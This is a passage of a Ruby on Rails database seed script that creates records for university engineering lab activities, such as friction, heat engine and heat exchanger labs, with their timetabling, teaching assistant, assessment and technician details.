\"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a203.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a203.id).first_or_create!(assess_weight: nil, notes: \"labs formative\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a203.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a203.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a204 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR134\").first.id, code: \"512\").first_or_create!(name: \"Friction\",\n name_abrv: \"FRICTION\", archived: true, in_drive: false, user_id: 1)\n at204 = ActivityTimetable.where(activity_id: a204.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a204.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a204.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring the friction coefficient of band brakes using LabVIEW and motor apparatus - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a204.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a204.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a204.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a205 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"513\").first_or_create!(name: \"Heat engines 1\",\n name_abrv: \"HEATENG1\", archived: false, in_drive: false, user_id: 2)\n at205 = ActivityTimetable.where(activity_id: a205.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a205.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a205.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a205.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a205.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a205.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a206 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR195\").first.id, code: \"513\").first_or_create!(name: \"Heat engines 1\",\n name_abrv: \"HEATENG1\", archived: false, in_drive: false, user_id: 2)\n at206 = ActivityTimetable.where(activity_id: a206.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a206.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a206.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a206.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a206.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a206.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a207 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"514\").first_or_create!(name: \"Heat engines 2\",\n name_abrv: \"HEATENG2\", archived: false, in_drive: false, user_id: 4)\n at207 = ActivityTimetable.where(activity_id: a207.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a207.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a207.id).first_or_create!(criteria: \"\",\n job_desc:\"Straightforward demonstration of open and closed heat engines systems\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a207.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a207.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a207.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a208 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE180\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 1)\n at208 = ActivityTimetable.where(activity_id: a208.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 1, max_week_num: 1, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a208.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"link\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a208.id).first_or_create!(criteria: \"\",\n job_desc:\"First year application of heat exchangers.\n Fun simple lab that the students generally get.\n I think its fun, not asked anyone else.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: 20.0)\n ActivityAssess.where(activity_id: a208.id).first_or_create!(assess_weight: nil, notes: \"Pre and Post lab quiz\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a208.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a208.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a209 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AMR195\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 4)\n at209 = ActivityTimetable.where(activity_id: a209.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a209.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a209.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a209.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a209.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a209.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a210 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER192\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 1)\n at210 = ActivityTimetable.where(activity_id: a210.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a210.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a210.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a210.id).first_or_create!(assess_weight: nil, notes: \"All AER192 labs account for 10% of module mark\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a210.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a210.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a211 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER293\").first.id, code: \"516\").first_or_create!(name: \"Heat Exchangers 2\",\n name_abrv: \"HEATEX2\", archived: false, in_drive: false, user_id: 1)\n at211 = ActivityTimetable.where(activity_id: a211.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a211.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a211.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a211.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a211.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a211.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a212 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE204\").first.id, code: \"516\").first_or_create!(name: \"Heat Exchangers 2\",\n name_abrv: \"HEATEX2\", archived: false, in_drive: false, user_id: 4)\n at212 = ActivityTimetable.where(activity_id: a212.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a212.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a212.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a212.id).first_or_create!(assess_weight: 5.0, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a212.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a212.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a213 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"515\").first_or_create!(name: \"Heat Exchangers 1\",\n name_abrv: \"HEATEX1\", archived: false, in_drive: false, user_id: 3)\n at213 = ActivityTimetable.where(activity_id: a213.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a213.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a213.id).first_or_create!(criteria: \"\",\n job_desc:\"First year application of heat exchangers.\n Fun simple lab that the students generally get.\n I think its fun, not asked anyone else.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a213.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a213.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a213.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a214 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC203\").first.id, code: \"516\").first_or_create!(name: \"Heat Exchangers 2\",\n name_abrv: \"HEATEX2\", archived: false, in_drive: false, user_id: 3)\n at214 = ActivityTimetable.where(activity_id: a214.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a214.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a214.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"Lab demonstration on heat exchangers, no marking Measure heat exchanger performance LMTD, U value Compare the performance of three different types of heat exchanger. Observe how the experimental apparatus can influence measurements. Apply heat exchanger theory.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a214.id).first_or_create!(assess_weight: nil, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a214.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a214.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a215 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"517\").first_or_create!(name: \"Inertia\",\n name_abrv: \"INERTIA\", archived: false, in_drive: false, user_id: 2)\n at215 = ActivityTimetable.where(activity_id: a215.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a215.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a215.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics. Basic dynamics. Ability to read instructions. Ability to explain. Approachability.\",\n job_desc:\"Measuring torque and acceleration using LabVIEW and motor apparatus to calculate inertia of a flywheel - supervise and assist students.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a215.id).first_or_create!(assess_weight: nil, notes: \"Post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a215.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a215.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a216 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CPE160\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 2)\n at216 = ActivityTimetable.where(activity_id: a216.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a216.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"http://tinyurl.com/jktbdqt\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a216.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a216.id).first_or_create!(assess_weight: 2.5, notes: \"Post lab quiz preferred or short assignment. Previously, the assignment has consisted of a number of questions.\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a216.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a216.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a217 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE104\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 3)\n at217 = ActivityTimetable.where(activity_id: a217.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 6, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a217.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a217.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a217.id).first_or_create!(assess_weight: nil, notes: \"post lab quiz\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a217.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a217.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a218 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 5)\n at218 = ActivityTimetable.where(activity_id: a218.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a218.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a218.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a218.id).first_or_create!(assess_weight: nil, notes: \"No information\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a218.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a218.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a219 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: true, in_drive: false, user_id: 3)\n at219 = ActivityTimetable.where(activity_id: a219.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a219.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a219.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a219.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a219.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a219.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a220 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC162\").first.id, code: \"518\").first_or_create!(name: \"Liquids and Gases\",\n name_abrv: \"LIQ&GAS\", archived: false, in_drive: false, user_id: 5)\n at220 = ActivityTimetable.where(activity_id: a220.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a220.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a220.id).first_or_create!(criteria: \"Enthusiasm for thermodynamics.\",\n job_desc:\"lab demonstration - boiling equipment, training provided, no marking Investigate the phase change from a liquid to a gas. Distinguish forms of phase change between liquids and gases and illustrate them. Discuss the relationship between pressure and boiling temperature. Apply the Clausius-Clapeyron equation.\", jobshop_desc: \"GTA in MEE, the Diamond: Thermodynamics Lab\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a220.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a220.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a220.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a221 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC453\").first.id, code: \"520\").first_or_create!(name: \"Non linear vibration\",\n name_abrv: \"NONLINEARVIB\", archived: true, in_drive: false, user_id: 3)\n at221 = ActivityTimetable.where(activity_id: a221.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a221.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a221.id).first_or_create!(criteria: \"\",\n job_desc:\"? Previously had claims from MEC dpt after work has been done by GTAs. (email from Jason Hawley 05/11/18)\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a221.id).first_or_create!(assess_weight: nil, notes: \"Not assessed by MEE\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a221.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a221.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a222 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"AER104\").first.id, code: \"unknowncode6\").first_or_create!(name: \"Rolling Spheres\",\n name_abrv: \"ROLLING\", archived: true, in_drive: false, user_id: 1)\n at222 = ActivityTimetable.where(activity_id: a222.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 70, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: 